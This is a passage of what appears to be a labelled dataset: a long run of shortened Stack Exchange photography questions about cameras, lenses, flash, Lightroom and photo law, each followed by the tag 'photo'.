A/F camera with a Sony Alpha 330 Camera Body: I have a Minolta 7000 A/F film camera, circa 1986. I also have a Sigma 75-300 A/F Lens which works well with that camera. I have since updated to the Sony Alpha 330 camera and the original Minolta ... ",['photo'] "Title: SD card filling up too fast Body: I have a Canon Rebel T3 and a Lexar Platinum II 8 GB SDHC class 6 card. I can only fit about 180 photos on this card that are roughly 5 MB each. Unless my math is really bad, that's only about 900MB ... ",['photo'] "Title: Simple paint program to adjust alpha values [closed] Body: I am looking for the most simplest of paint programs for adjusting the alphavalues of a picture. I only need a brush that will let me adjust the alpha values. I have GIMP installed, but am a total ... ",['photo'] "Title: nikon 70-300 f4.5-5.6 vr problem Body: I got this lens second hand from eBay; it was in perfect condition, but recently when I zoom in to between 135 and 200mm it makes a grinding noise and shakes. ",['photo'] "Title: Photobooth-style direct-to-printer software? Body: I'm looking for a simple-to-use photobooth type system, where the user presses GO (or some such button), a photograph is taken, then immediately printed. Something like Apple's Photobooth, but that ... ",['photo'] "Title: How do aperture and the tilt portion of a tilt shift lens relate? Body: I have found that you can use the tilt feature of a tilt shift lens to do some pretty neat things with depth of field. I can throw it 8° to the right and everything on the left side of the image drops ... ",['photo'] "Title: How would i go about re-covering a Hasselblad? Body: I have just bought a Hasselblad (500EL) medium format camera for a play with, and it's in quite ""used"" condition. Some of the leather covering is starting to show its age (peeling/shrinking) so I ... ",['photo'] "Title: Looking for a true 360 degree camera Body: I'm looking for a true 360 degree camera, so that's both vertical and horizontal 360 degrees. I've seen some clip-ons for the iPhone, but am really not wanting to by an iPhone 4S for this. What I ... ",['photo'] "Title: Digicam as recording device [closed] Body: Are there digicams with HDMI out, so that I can connect the digicam to a TV card in my computer and record directly, what the digicam sees? Also the digicam then of course shouldn't go into any kind ... ",['photo'] "Title: Why milky way galaxy cannot be seen by human eye while by camera? Body: I was wondering by seeing the photos of Milky way galaxy, that how exciting it would be if we could see all those colors and stars like in those photographs (eg. below). source: ... ",['photo'] "Title: How to understand the picture height? Body: ""The Spatial Frequency Response (MTF), shown to twice the Nyquise frequency. The key result is MTF50, the 50% MTF frequency, which corresponds to perceived image sharpness. It is given in cycles per ... ",['photo'] "Title: D5100 Car Photography Settings Recomendations Body: I am a car photographer and I am unhappy with some of the results from my D5100. I feel like I haven't been able to fully take advantage of my camera's settings, considering I haven't really been able ... ",['photo'] "Title: JYC IR Remote Controls ML-N and Nikon D7000 Body: I am searching for a remote control for my Nikon D7000. I've found the JYC IR Remote Controls ML-N, but that site doesn't list the Nikon D7000 as a supported model. I thought that the D90, D5000 and ... ",['photo'] "Title: Medium format starter kit for “playing with” Body: Ive been doing digital photography for quite a long time, I dropped into it right at the start of the ""Digital Revolution"" back in the mid ninety's, and due to the ""free"" nature of digital (ie no ... ",['photo'] "Title: What are causes for image sensor getting heated? Does Live View cause more heat? Body: As I have known so far, image sensor gets heated when being exposed to light for longer time. Is there any other reason why an image sensor gets heated? Does heating depends on sensor type (like CCD, ... ",['photo'] "Title: What is a super-zoom lens for Sony NEX or Samsung NX? Body: I'm considering to buy a camera such as one in the Sony NEX or Samsung NX series. Do you know which of the 2 series has a lens that is equivalent to the Sony DSC HX200V's 30x optical zoom (Focal ... ",['photo'] "Title: How to use pop-flash for a night shot in manual mode? Body: I recently bought Nikon D7000 with 18-105mm. I am a newbie for DSLRs but improving day by day. I see that when taking pics after sun set or in low light in manual mode with flash( pop up) it over ... ",['photo'] "Title: Better settings for Indoor Photography Body: I have a indoor photography to be done.. A social work. And I am very new for DSLR. I have Canon 600D with 18-55 mm IS II kit lens. I can use auto modes. But thought to use this opportunity as a ... ",['photo'] "Title: Digital camera with WI-FI and time-lapse function Body: Is there any digital camera, that can be controled remotely and upload images automaticly to ftp (something like Eye-fi) over internet and have ability to take pictures in time sequence every minute ... ",['photo'] "Title: Self-photography equipment? Body: I am going to be travelling on my own in China for a month and I don't want to ask locals to take photos for me. I have heard about this product a long long time ago: ... ",['photo'] "Title: Which is the best batch image watermarking software? Body: I have lots of images to be watermarked. Is there a good batch image watermarking application that can do the job quickly and easily. I have found some, but none of these have a professional touch. ",['photo'] "Title: Does Apple Aperture have a way to change the exposure of many files at once? Body: I'm just editing a time lapse video I shot and have to change the exposure on about 1000 files. Is there a way in Apple Aperture to batch edit files? ",['photo'] "Title: What would I lose by deleting old Lightroom backup folders? Body: So I've noticed that the size of my harddisk drive that has the Lightroom backups is decreased dramatically. This is because it contains many Lightroom backups. I've almost 10,000 photos in my ... ",['photo'] "Title: Why is ETTL necessary? Body: As I understand, the required flash power for correct exposure is determined by aperture, ISO and subject distance. It shouldn't matter whether a human subject is dressed in black or white -- the ... ",['photo'] "Title: What is the conversion between focal length and times zoom? [duplicate] Body: Possible Duplicate: How do I convert lens mm to optical zoom times? What is the conversion between focal length in mm (e.g. 50mm) and x zoom (e.g. 20x) commonly used in compact cameras? Is ... ",['photo'] "Title: Why are my recovered images only 160x120 pixels? Body: I am trying to recover some lost images, and with all the programs I've tried, some of the photos resulted to be in a 160x120 pixel resolution. What does this mean, and is there any possibility to ... ",['photo'] "Title: Manual focus in Nikon Coolpix P7100 Body: Is it possible to focus manually with Nikon Coolpix P7100? I put my camera on a tripod and tried to make photos of full moon this night, however the camera is unable to find focus on the Moon and all ... ",['photo'] "Title: Night Sky Time Lapse Photography Body: This is an amazing video of night sky time lapse, which was shot with the following equipment: Canon 60D and T2i Tokina 11-16 ,Sigma 20mm F1.8, Tamron 17-50 According to Wikipedia , South Dakota ... ",['photo'] "Title: Can ultra-high ISO ever yield good results? [duplicate] Body: Possible Duplicate: Is high ISO useful for photography? My camera can apparently extend to really high ISO's, however I see serious noise over 2,000 ISO at any shutter/apeture combination. ... ",['photo'] "Title: Does the imaging circle size change when a lens zooms? Body: When a zoom lens is designed for a cropped (APS-C) imaging circle, does the imaging circle necessarily stay that small throughout the zoom range? It is easily understandable that a prime lens ... ",['photo'] "Title: How to understand the definition of dynamic range? Body: I have the following formula: DR=(1.4L_Sat G_i)/N_D where DR is the dynamic range; L_sat is the luminance at the “margin level”，70.1% of the maximum recordable （saturation）luminance（yes，L_sat is ... ",['photo'] "Title: How to do selective-color in Photoshop? Body: How to make the single color in a photography to be color and other parts changed to B&W?. Don't know exactly the name of the effect, to be more clear in the following photo I want the green part ... ",['photo'] "Title: Geotagging vs. Keywording Body: I used to keyword all my photos with the ""Where?"" keywords so that I easily could find photos from a certain location. But with the arrival of Lightroom 4 geotagging and reverse geocoding has become a ... ",['photo'] "Title: Powering a Nikon SB-28 or Cobra flash with an external (not portable) power supply for studio use. Body: I often have to use my cobra flash indoor, as a studio flash, but I always have batteries problems : not enough charged batteries, no new batteries for backup, battery charge too low after some ... ",['photo'] "Title: How to power and mount flashes? Body: I just purchased a few Yongnuo YN-560 II flashes for use with a light tent (for macro photos) and as this will be my first time using external flashes I'm not quite sure how to power or mount them. ... ",['photo'] "Title: Portable Storage Device while traveling [duplicate] Body: Possible Duplicate: How can I backup my RAW photos while travelling without Internet access? I need storage device which is able to read CF cards and make a backup of my photos while ... ",['photo'] "Title: How to protect photographs on Camera from being viewed/copied Body: I need to photograph some sensitive items, I want to see the picture on camera to check it was a good photo and then secure it somehow so it cannot be viewed again in the camera or other means unless ... ",['photo'] "Title: How to enable auto-loading of several next photos in Lightroom? Body: I'm using Lightroom 4.1 to review, cherry pick and postprocess a bunch of Canon RAW photos from a big shooting session. I use the Library view in Loupe mode to review the photos and pick up the best ... ",['photo'] "Title: Which lens will be good for a new photographer with Canon 60D camera? [duplicate] Body: Possible Duplicate: How to choose a lens for my first DSLR? I am new in the world of photography. I bought a Canon 60D camera. With my camera I have no lens. Now I am really confused. After ... ",['photo'] "Title: Do non-distorted wide angle lenses exist for the Pentax KR? Body: I do a lot of shots for work (interior design). We use a Pentax KR, which we like, but because of the size limitations of some rooms, it's hard to get a decent photo of them displaying how the room ... ",['photo'] "Title: How to re-organise an existing Lightroom library? Body: Is there a way to automatically re-organise a lightroom library? When I imported my library I kept the structure that was on disk (so folders like Holiday, Family, etc). Now I would like to have the ... ",['photo'] "Title: What characteristics make a good lens good? Body: When reading lens reviews on the Internet, I often find subjective statements about the image quality that a lens produces, such as ""good contrast"" or ""sharp"". The problem is that I don't think I am ... ",['photo'] "Title: How to update Lightroom catalogue with intentional file removal done in OS? Body: I intentionally deleted some files in a Lightroom catalogue storage folder in OS (Mac OS X). Those files were once accidentally and incorrectly imported and all have file names ending with -2.jpg. ... ",['photo'] "Title: What are some Chinese/Asian photo sharing websites similar to Flickr? Body: What are some Chinese/Asian photo sharing websites similar to Flickr? I want to upload some of my photos to one ow two of these websites with Chinese description and share with Chinese/Asian friends. ... ",['photo'] "Title: Why does opening Lightroom 4 cause a color shift to my entire display? Body: I have a MacBook Pro mid-2010, I am currently using ""Color LCD"" and every time I open Lightroom I notice a subtle color change on my display, it gets a little cooler. This also happens when I open the ... ",['photo'] "Title: How to clean a camera after being exposed to sea spray? Body: I went camping on the beach over the weekend. One of the scenic areas I went to was very windy and had waves crashing hard against some rocks. So there was a lot if sea spray in the air which ... ",['photo'] "Title: RAW Conversion is better on Canon Utilities or LightRoom? Body: I have always used Picasa as I was with point and shot camera. Now, I want to learn photography and have brought a Canon DSLR with which I got Canon Utilities to manage the pictures and video. On ... ",['photo'] "Title: Need lens sugestion for canon 550D camera [duplicate] Body: Possible Duplicate: Lens upgrade paths (sub $1000) for the EF-S 18-55mm IS kit lens for Canon APS-C cameras I am new to dslr photography, i started with Canon 550d DSLR camera with efs ... ",['photo'] "Title: If someone makes a picture of me, who owns the right to it? Body: Say, someone snaps a picture of me. Do I own the rights to it? Or is it the photographer? EDIT I apologize for being vague in my original question. My intent was to find out for U.S. but a plethora ... ",['photo'] "Title: lens care: compressing lens without full-time manual focus when camera is off? Body: The lens manuals for my lenses without ""full-time manual focusing"" warn not to use the focusing ring when it's in Auto-Focus mode. I assume that even applies when the camera is off, but am I being ... ",['photo'] "Title: What's the technical difference between artificial and natural light? Body: Comments like this one got me wondering... Assuming two light sources of equal size and relative intensity (let's say as an example monolights and the sun) and assuming that you're shooting raw to ... ",['photo'] "Title: Astro-Photography with Maksutov-Cassegrain Telescope and Canon EOS? Body: I have a Maksutov-Cassegrain telescope from Celestron C70 and I am interested in the Astro-photography. I want to know, if I can use this telescope to attach with my Canon 600D? Do I need anything ... ",['photo'] "Title: Does number of elements and groups of lens affect bokeh shape? [duplicate] Body: Possible Duplicate: What about lens construction influences bokeh? Does the circular or hexagonal shape of the bokeh depends on the number of elements and groups of the lens?? If not then ... ",['photo'] "Title: Where can I get free RAW files online for practicing with Lightroom? Body: I've downloaded Adobe Lightroom in order to learn RAW image processing. I want to practise on some photos that covers basic subjects (Histograms, HDR etc). Is there a good, free source of RAW images ... ",['photo'] "Title: What would cause a hot-spot (large) in Live-view but not when shot through the viewfinder of Nikon D7000? Body: viewfinder shot - Same exposure/iso settings http://cchanphotography.com/images/sensor_issue/viewfinder.JPG liveview shot http://cchanphotography.com/images/sensor_issue/liveview.JPG ",['photo'] "Title: Panasonic GF3 - stuck on monochrome? Body: My boss has just purchased a Panasonic GF3 camera, and every photo he takes is in monochrome - he's certain it's a software issue since it says 'mono' on the LCD display. He's thoroughly checked the ... ",['photo'] "Title: How To Take Better Macro Shots with Nikon 1? Body: I recently bought myself a Nikon 1 during a roadshow. When the sales rep demoed the functionality of the camera to me which includes taking macro shots, the pictures were crisp and bright. Convinced ... ",['photo'] "Title: Are there any photographic qualifications that are worth getting? Body: Ive been looking at Photographic courses recently, a lot of them seem to be aimed at the complete beginner, or they are a completely un-affordable (By anyone) £20k full time degree. Im looking to ... ",['photo'] "Title: How to get better photos with Canon's G12 built-in flash? [duplicate] Body: My camera is a Canon G12. I don't have a fancy add-on flash. My main problems are: how can I get better images with the built-in flash in the Canon G12? What techniques can I use to make the ... ",['photo'] "Title: Which DSLR for a total beginner? [duplicate] Body: Possible Duplicate: What should I look for when shopping for my first DSLR? I love taking photographs and simple digital cameras don't satisfy me. So I'd like something better. I have never ... ",['photo'] "Title: Best SD Card for Nikon D3100? Body: I am looking at new memory cards, what would be the best one to get? SanDisk 32GB Ultra 30MB/s SD Card (SDHC) - Class 10 @ £17.99 SanDisk 64GB Ultra SD Card (SDXC) - Class 10 @ 47.99 SanDisk 32GB ... ",['photo'] "Title: Fixing F number in Manual Focus 50mm lens on a D7000 Body: I have a 50mm f/1.2, this lens: http://www.nikonusa.com/Nikon-Products/Product/Camera-Lenses/1435/NIKKOR-50mm-f%252F1.2.html that I got used from a guy I know. When I mounted it in my D7000 though, ... ",['photo'] "Title: What are the laws in Australia surrounding photography in public places? Body: Occasionally I see references to laws (in multiple countries) where you need a ""professional photographers license"" or something similar to be allowed to use a tripod in public places. I am new to ... ",['photo'] "Title: Automatically Straighten Photos [duplicate] Body: Possible Duplicate: Are there any tools out there to automatically level an image? Are there some apps that will automatically guess at how to straighten thousands of photos? In other ... ",['photo'] "Title: Can Nikon flashes display flash power used right after a shot was taken? Body: I'm trying to compare two camera bodies (Nikon D90, Nikon F100 (digital and film)) with respect to TTL flash power in different situation. I came to know that few Canon flashes can display the flash ... ",['photo'] "Title: What makes the focus ring on a lens go smoothly? Body: I’m curious about the smooth movement of the zoom or focus rings on a lens. How is the smooth movement done? Is there some kind of liquid with high viscosity? That doesn’t sound very probable. On the ... ",['photo'] "Title: What’s this post-processing effect? Body: I am very intrigued by this photo. Can anyone shed some light into how this effect could be achieved? photo photo 2 ",['photo'] "Title: How to Bulk-Crop many images whitespace? Body: I want to crop the white space in 300 pictures Is there any software out there that does it? ",['photo'] "Title: Is there a digital body which will let me use lenses from my Yashica Fx 2? Body: I have a Yashika FX-2 that I bought back in the 70's. I would like to upgrade the body to a digital form and I'm not sure which ones I can buy. I have several different lenses and I really don't want ... ",['photo'] "Title: Why does my Fujifilm FinePix S1800 have far greater shutter lag in EVF mode than in LCD mode? Body: The shutter lag on my Fujifilm FinePix S1800 is much longer in EVF mode (just under half a second) than in LCD mode (about 0.15 seconds). What would explain this anomaly? ",['photo'] "Title: How to achieve good scenic photos without HDR? Body: I've always had a problem getting exposure right with shots of the outdoors. I always seem to need to do manipulation which ends up in noisy photos. I know HDR would sort it out, but I'm using a ... ",['photo'] "Title: Laws regarding photos taken from airplane? Body: What are the laws for photos taken during a commercial flight? Just shooting some clouds outside the window and maybe a small city picture after takeoff. Anything I need to know? Apart from what's ... ",['photo'] "Title: What is the significance of the word “Color” in the names of some older lenses? Body: This seems closely related to How does a lens affect the saturation of a picture?. Some older lenses I've seen contain the word ""Color"" in the name, such as Color-Yashinon and Color-Skopar (the ... ",['photo'] "Title: How do I use the ColorHug in Windows? Body: The open source ColorHug display colorimeter only works with Linux software. If I want to use it to color calibrate a Windows system, what do I do? ",['photo'] "Title: Can I batch process Nikon RAW (.nef) files to make them look like the camera's jpg compression? Body: I normally shoot my D80 in JPG mode, because I like the way the JPGs end up looking, and I have had a hard time manually processing the .nef files to look as nice to my eye. Sometimes the image ... ",['photo'] "Title: Flash gun vs Studio light for product shoot Body: I need to make some shoot of headwear for a website. Pictures are basically something put on the dummy head. I don't need super professional pictures but I wan't something reasonnably good, better ... ",['photo'] "Title: How to licence out photos to postcard or gift suppliers Body: I am a London-based photographer and I focus on landscape & building photography. So being based in London that means I tend to focus on many of the cities landmarks and tourist attractions. I ... ",['photo'] "Title: Is there a name for artifacts for taking a photo of LCD / LED screens and how to remove or avoid it? Body: The following is a photo of a game console 3DS, although the 3D is turned off: There is ""fish nest"" artifacts, and sometimes the lines even curve on some photos. iPhotos on a Mac seems to try to ... ",['photo'] "Title: Are Nikon lens double the cost of Canon auto-focus lens? Body: Are Nikon lenses double the cost of canon Camera? Point in case, below. I am an amateur photographer and my usual requirements are: Portraits with nice Bokeh Macro (flowers, insects etc.) Day ... ",['photo'] "Title: Should my flash zoom match my lens focal length or its 35mm equivalent? Body: I have a camera with an APS-C sized sensor. Should my flash zoom match my lens's actual focal length or its 35mm equivalent? I am hoping that someone can shed some scientific light to this matter. ",['photo'] "Title: What color profile is being used in PS when Proof Colors is OFF? Body: What color profile is being used in PhotoShop when Proof Colors is OFF ? I always thought it's system color profile but it turns out it looks very different when I enable Proof Colors to ""Monitor ... ",['photo'] "Title: Slow flash when shooting a D90 and SB 700 Body: I'm experiencing slow flash recycle times. What can I do to troubleshoot or speed up the flash? I'm using a Nikon D90 with an SB700. ",['photo'] "Title: Is there a radio flash control system for Olympus that allows setting flash power from the camera? Body: One of the main advantages of optical wireless flash control systems is that they don't require anything extra: at least with many cameras, they work with the built-in flash, and can often control ... ",['photo'] "Title: Fast Lens for D7000 [duplicate] Body: Possible Duplicate: What DX Nikon lenses should I look at for concert/club photography? I am taking pictures of musicians and dance performers on stage. I want to buy a fast lens because ... ",['photo'] "Title: Would you try to repair this equipment? Body: I finished importing photos into Adobe Lightroom and have these counts for three items that are not working 100% anymore. All three are out of warranty. Canon EOS REBEL T1i - 49,794 photos Tamron ... ",['photo'] "Title: Pop up flash & softbox headlight unit Body: I'm very new to flash photography. Just recently bought a softbox kit and I'm not quite sure how to use the built-in flash on the headlight unit. The sales person tells me that it has a light sensor ... ",['photo'] "Title: Why are some of my photos coming out almost completely purple? Body: Some of photos that I took look like this one. Look at the purple picture, it is supposed to be exactly the same as the one on the right-wall, window, etc. Nothing purple in it at all. This happens ... ",['photo'] "Title: Micro Four Thirds: Which lens adapters are most compatible? Body: Using the micro four thirds (MFT) system allows you to pick from a wide variety of mount adapters which which to attach your old lenses (Nikon F, Canon EF, Pentax K, etc). Question: Which common lens ... ",['photo'] "Title: Is it feasible to use a Canon lens on Nikon body for extra macro ability? Body: I realize there's no way to mount a Canon lens on a Nikon body and get the full focus range, but is it possible to use an adapter to get a sort of extra macro, and get decent results? I'd imagine it ... ",['photo'] "Title: Why won't my new Canon Rebel T3i take a picture with the 18-55mm lens in autofocus mode? Body: I just purchased a brand new Canon Rebel T3i kit from Costco.. I used it for a couple of days, but now when I have the 18-55mm lens attached and the camera on auto-focus, it will not take a picture. ... ",['photo'] "Title: What should I look for in a tabletop tripod /support? Body: I am looking for a tabletop support for my canon 550D. What features should I look for to give adequate support for macro and other photography? My price rang is under $150. I have looked at the joby ... ",['photo'] "Title: What are the best macro lenses for canon ef mount? [closed] Body: Taking into consideration price, what are the best macro lenses for not-to-serious photography? Price is a big factor for me. And I know it is a subjective question. I do not mind subjective answers. ... ",['photo'] "Title: What's the safest orientation for storing a lens in a bag? Body: You may think that I am a bit crazy, but every single time that I carry more than one lens with me (and I like doing that, since changing lenses is part of the fun :-) ) I cannot avoid to wonder if ... ",['photo'] "Title: What kind of special effects can be created using polarizing filters? Body: From what I have read so far (this question in particular), CPL filters are good for darkening skys and improving image contrast by cutting down unwanted reflections. Apart from this, for some ... ",['photo'] "Title: Does the Fujifilm X-Pro 1 show the effects of exposure compensation in the EVF? Body: This is something I never noticed while I had my hands on the X-Pro 1 — maybe because I didn't use the EVF mode as much as the optical finder, or maybe because I wasn't in situations where exposure ... ",['photo'] "Title: From a pure specs perspective, do micro four thirds cameras like the E-PL2 have any advantages over Sony's new RX100? Body: David Pogue is deeply, wildly in love with Sony's new high-end ""pro's second camera"", the RX100. So I was thinking of trying to find an excuse to buy it to replace my S95. But then I realized that ... ",['photo'] "Title: combine video frames for clarity [duplicate] Body: Possible Duplicate: CSI image resolution enhance: How real is it? Apologies if this isn't the best SE for this search. What might be good software, esp. opensource/freeware, to combine ... ",['photo'] "Title: Motorola Razr Maxx compression removal Body: I've recently acquired a Motorola Razr Maxx. I had hoped its camera would be good for those random shots of opportunity, but unfortunately its quality seems crippled by overzealous JPEG compression. ... ",['photo'] "Title: Why does my Nikkor 12-24mm lens vignette on my Nikon D800? Body: I have a Nikon D800 and am using a Nikon 12-24mm lens with it. When completely zoomed out it produces a vignette that I don't particularly care for. I've never seen this with my other Nikon DSLRs ... ",['photo'] "Title: Sharpening for smart phone viewing Body: Why do my website photos look fine on a computer and ipad, but blurry on a smart phone (iPhone 4s)? How do I sharpen and save for smartphone use? ",['photo'] "Title: How does Super Resolution work? Body: Picking from this question I read the Wikipedia article but I can't understand why stacking copies of the same image over each other should enhance the image resolution? ",['photo'] "Title: Photo and data sorting software Body: I would like to be able to have thumbnail images of my photographs with information next to them (Location, Photo ID #, Date Photo Taken, etc.) that I can sort according to the column headers (like in ... ",['photo'] "Title: Is there a way for various online photo services to import the same keywords/tags added in Lighroom? Body: Flickr seems to import the keywords (tags) correctly. Why won't these automatically import into other online sites when I add a photo? (namely 500px, Fine Art America) I manage my tags in a document ... ",['photo'] "Title: 100 year old hand painted backdrops - How to gently clean? Body: We have just taken possession of a group of hand painted back drops that are somewhere between 70 and 100 years old. They hung in a neighboring Masonic Lodge for all that time. Do I dare try to ... ",['photo'] "Title: Canon 550D Vs Nikon D3100 for wildlife and nature photography Body: I am a beginner in photography. Can you please tell me which will perform better for wildlife and nature photography? Still confused over Canon or Nikon Regards Venkatesh T ",['photo'] "Title: Is the Arca Swiss Z1 compatible with Kirk brackets Body: Does anyone know if that Arca Swiss Z1 ball head top plate is compatible with the Kirk angle-bracket? ",['photo'] "Title: What is the crop factor for Four Thirds cameras considering aspect ratios? Body: I'm considering switching to the Micro Four Thirds system. Finding lenses which match my style is a key part of that, and ""normalizing"" via crop factor is a convenient tool. The crop factor for Four ... ",['photo'] "Title: How to use built-in flash with off-camera 430ex ii on my Canon 600D Body: I have a 430EX ii speedlite which is controlled by the built-in transmitter in my 600D. I want to use the built-in flash as a fill light while using the off-camera speedlite as a key light. How can I ... ",['photo'] "Title: iPhone location scouting app that reads geo-location exif data Body: Does anyone know of a iPhone/iOS app that helps with scouting or keeping a file of good locations? The big caveat is that it should be able to read exif location data of photos previously taken that ... ",['photo'] "Title: Sunrise and sunset photography with a small digital camera Body: I have a new camera (Panasonic TZ 30) and I am a relatively inexperienced photographer. I will shortly be doing a journey as tourist at the famous monolith, Uluru in Central Australia. I was thinking ... ",['photo'] "Title: What specifics does a street style/detailed photography camera + lens need to have? Buying a new camera, got £1000 to spend Body: I got a 1000 £ to spend on a new camera + lens. I will be doing Street style photography and portraits. What does a camera for this use need to have? What lens/ how many mm is best for Portrait Vs. ... ",['photo'] "Title: What I will miss with non 100% Viewfinders Body: In the answer to this question, it says: Anything less than 100% means that there are elements that will be captured in the scene that you cannot see at the time you look through the viewfinder. ... ",['photo'] "Title: Preserve manually selected detail when stiching panorama in Photoshop Body: I have a set of photos that I would like to stitch together into a panorama in Photoshop. One of the photos contains a fast moving subject (birds) that I would like to preserve. How can I force ... ",['photo'] "Title: Why aren't there any cooled CCD sensors to reduce noise? Body: Sensor cooling is a common technology to get less noise. Why isn't it available on high-end D-SLRs ? (see http://www.andor.com/scientific_cameras/ikon-m_cooled_ccd/ for an extreme example) I'm not ... ",['photo'] "Title: Why is the lowest ISO always 100? Body: The lowest ISO on digital cameras always seems to be 100. It would sometimes be useful to have much lower ISOs, mainly for long exposure photography. What isn't there any 50, 20, or even 10 ISO ... ",['photo'] "Title: Advantages of a ring-flash in portrait and wedding photography Body: I've seen lots of people talk about and work with ring-flashes, or using ring-flash adapters for their speedlites. Some use them in single flash setups, both on-camera and off-camera, other use them ... ",['photo'] "Title: Built-In ND Filter versus Add-On Filter Body: The Canon Powershot G1 X includes a built-in ND filter, like a few other cameras. You simply enable it in the menu and it reduces the light hitting the sensor. The camera also supports and adapter to ... ",['photo'] "Title: RAWtherapee vs darktable for Linux [closed] Body: As an Ubuntu user and a beginner photographer, which of these programs (RAWtherapee or darktable) would give me the best head start and has the most user friendly interface? The emphasis in this ... ",['photo'] "Title: How do I take better pictures with smaller apertures and wider angles? Body: I've gotten pretty good at taking portraits, but that's usually when I shoot at large apertures (f/2.8 and wider). They're all taken with a 50mm f/1.4 prime and I've learned good composition at that ... ",['photo'] "Title: Canon G1 X Custom Color Resets Body: The Canon Powershot G1 X has a Custom Color mode which lets you tweek Contrast, Saturation, Sharpness, Red, Green, Blue and Skin Tone. With a few adjustments, it can make colors look quite natural. ... ",['photo'] "Title: Are there any memory cards available which can keep up with the Canon 1d x? Body: With 1d x coming out ... soon, I'm curious on what would be the best memory to use with it, if price is no object. Photo size of this camera should be somewhere in range of 20-30 mb, and with 12 ... ",['photo'] "Title: best general lens for Canon crop [duplicate] Body: Possible Duplicate: What is a good general purpose lens for Canon? Which lens should someone who enjoys the Canon EF 50mm f/1.8 get next? I have recently purchased a Canon 600D (body ... ",['photo'] "Title: Can I increase the resolution of a six-megapixel photo to print on a large canvas? Body: I took a photograph and the information tells me it is 3008x2000 and 2.2 MB. It's a darker image of two people and their reflections in a window. I'm trying to get it printed on a canvas by ... ",['photo'] "Title: What could cause pink spots on my RAW photos? Body: I have only started shooting in RAW and have noticed pink spots on them. They are never in the same location and don't affect some photos, they just seem to appear every few shots. It never happened ... ",['photo'] "Title: What is the difference between APS-C and Full Frame sensor? [duplicate] Body: Possible Duplicate: When do the differences between APS-C and full frame sensors matter, and why? I was doing research in buying the Sony NEX-7 camera, but today the news was all about the ... ",['photo'] "Title: Can I use an image of someone else's displayed-in-public branding without special permission? Body: I am currently re-designing a website for a large company that makes parts for planes, and want to use some images of the planes that the parts are made for. I have some great imagery taken by one of ... ",['photo'] "Title: What is the average lifetime of lenses, specially L lenses Body: I have a few and they are very well taken care of. Still curious to know, what is the average lifespan of L lenses ( and non L lenses as well, USM version ) any idea? ",['photo'] "Title: Advantages of TTL over manual mode when using speedlites Body: Yesterday a user on stackexchange asked me why do I prefer manual over TTL when working with speedlites. I use them mostly off-camera and I've developed a kind of a workflow where I do not walk back ... ",['photo'] "Title: Can the Nikon D7000 take Multiple 30 sec Exposures (more than 100) Body: I have tried to take 180 thirty second exposures by setting the Interval Timer in the camera to 180 and setting 30 seconds on the shutter speed and the shutter locked in continuous mode but it only ... ",['photo'] "Title: Maintaining and repairing Yongnuo vs Canon speedlites Body: This is somewhat a multi-part question, mostly related to my split-decision on weather to buy a YN560-II (or a several of them) for much less money than buying Canon alternatives (one Canon 580EX II ... ",['photo'] "Title: Nikon D5100 Stopped Working? Body: I have had an issues and not sure what I should do, here is what happened: Yesterday I was shooting with my D5100 and all the sudden it would not respond. I would press the shutter release and ... ",['photo'] "Title: Looking for camera control software (for Nikon DSLR) to shoot time lapse Body: What software is available that will let me control a camera from a computer, so I can shoot a lime lapse sequence? The camera is a Nikon D60. I am looking for freely available software. I am aware ... ",['photo'] "Title: How should I choose a flatbed scanner for scanning prints? Body: I have several dozen to a hundred or so color prints I would like to scan. They are snapshots taken in the last 20 years and are mostly 4x6"". I would like help choosing a flatbed scanner to do this ... ",['photo'] "Title: How do I see settings afterwards on my Nikon D5100? Body: I am quite new to DSLR photography. What I can't figure out is how to see the settings for the photo after I have taken it. For example, if I take a photo with 1/200, f5,6 and ISO 200. Can I see it ... ",['photo'] "Title: What technical reasons prevent Canon's new hybrid AF working with non-STM lenses? Body: Canon's new Rebel T4i (a.k.a. EOS 650D) has a new ""hybrid AF"" mode, which allows continuous AF during video, but only when used with one of the new STM lenses. I've seen chatter on the web forums ... ",['photo'] "Title: How differently should I use a flash with film camera? Body: I will be using flash with a film camera for the first time. I've some experience with on and off camera flash with digital camera and film camera for landscape pictures. Now I do not know what are ... ",['photo'] "Title: Why don't comparisons of aperture take sensor size into account? Body: When one compares focal length, many times we use the 35mm equivalent length. A 50mm lens on an APS-C sensor camera(1.6x) would be a 80mm equiv. length on a full frame camera. But when we state the ... ",['photo'] "Title: How did Suren Manvelyan create the macro pictures of eyes? Body: I came across some really cool macro photos of eyes today. How did he manage to get these photos? I couldn't find any EXIF information anywhere, and I don't have enough experience with macro to figure ... ",['photo'] "Title: Can wireless flash triggers decrease the camera's actual sync speed? Body: Can wireless flash triggers decrease the camera's actual sync speed? I am using a set of YN-603 triggers to trigger a YN-560II with my D5100, but it looks like when I have it set as 1/200s I get a ... ",['photo'] "Title: Is the image processor relevant in a camera when shooting RAW? Body: When cameras come out the company often states that the image processor is upgraded. Does such an upgrade matter when one only shoots in RAW? When shooting RAW the image is taken directly from the ... ",['photo'] "Title: Does the Canon T2i have the same battery as the T1i? Body: I need to know if the Canon T2i has the same battery as the T1i. I am borrowing a T1i from a friend and I won't be able to get the camera until the day I need it. I have a T2i and I have a power cord ... ",['photo'] "Title: How to shot frescoes in a dark environment? Body: I have an assignment to shot some frescoes in a low-light church. The church is rather small and it has scaffolds (bars) inside which are rather close to the paintings. So, most probably I need to ... ",['photo'] "Title: Solving shadow light of photo taken by a cellphone camera Body: I’ve a problem with my photos. I take my photo with handphone camera [Samsung galaxy-3MP]. There are some shadows of the light in the object. How to solve this [maybe some technique of digital imaging ... ",['photo'] "Title: Will a faster card increase my save speed on a Fujifilm Finepix S4500? Body: I am trying to determine whether or not I should purchase a class 10 or UHS Speed Class 1 card for my camera. I bought the Fujifilm Finepix S4500 when it first came out and recently started playing ... ",['photo'] "Title: Are color and tones in this seascape fine? Body: Just about color and toning — is it right or could it be better? (In that case please specify Lightroom or Photoshop actions to perform.) I feel it is a bit too dark (it really seems like if there ... ",['photo'] "Title: What uses does tone mapping have beyond HDR? Body: Tone mapping is infamous as the technique used to enhance ""raw"" HDR photos (because by nature they have poor contrast). From this I think understand the principle of what it does (increasing local ... ",['photo'] "Title: What is Canon's Super Spectra Coating? Body: In the Canon EF 25-105mm f/4 L USM IS lens specs, it says that the lens coating is ""Super Spectra Coating"". What is the Super Spectra Coating and how it differs from other types of coating? ",['photo'] "Title: Does a filter exist to color-correct color negatives when copying them with a DSLR? Body: This question and other internet sources propose using a DSLR with a macro lens to rapidly copy negatives and slides. Copying color negatives, however, seems to be a challenge because the color tint ... ",['photo'] "Title: How can I fix Err 01 with a film-era Sigma lens on a Canon DSLR? Body: I have a new Canon EOS 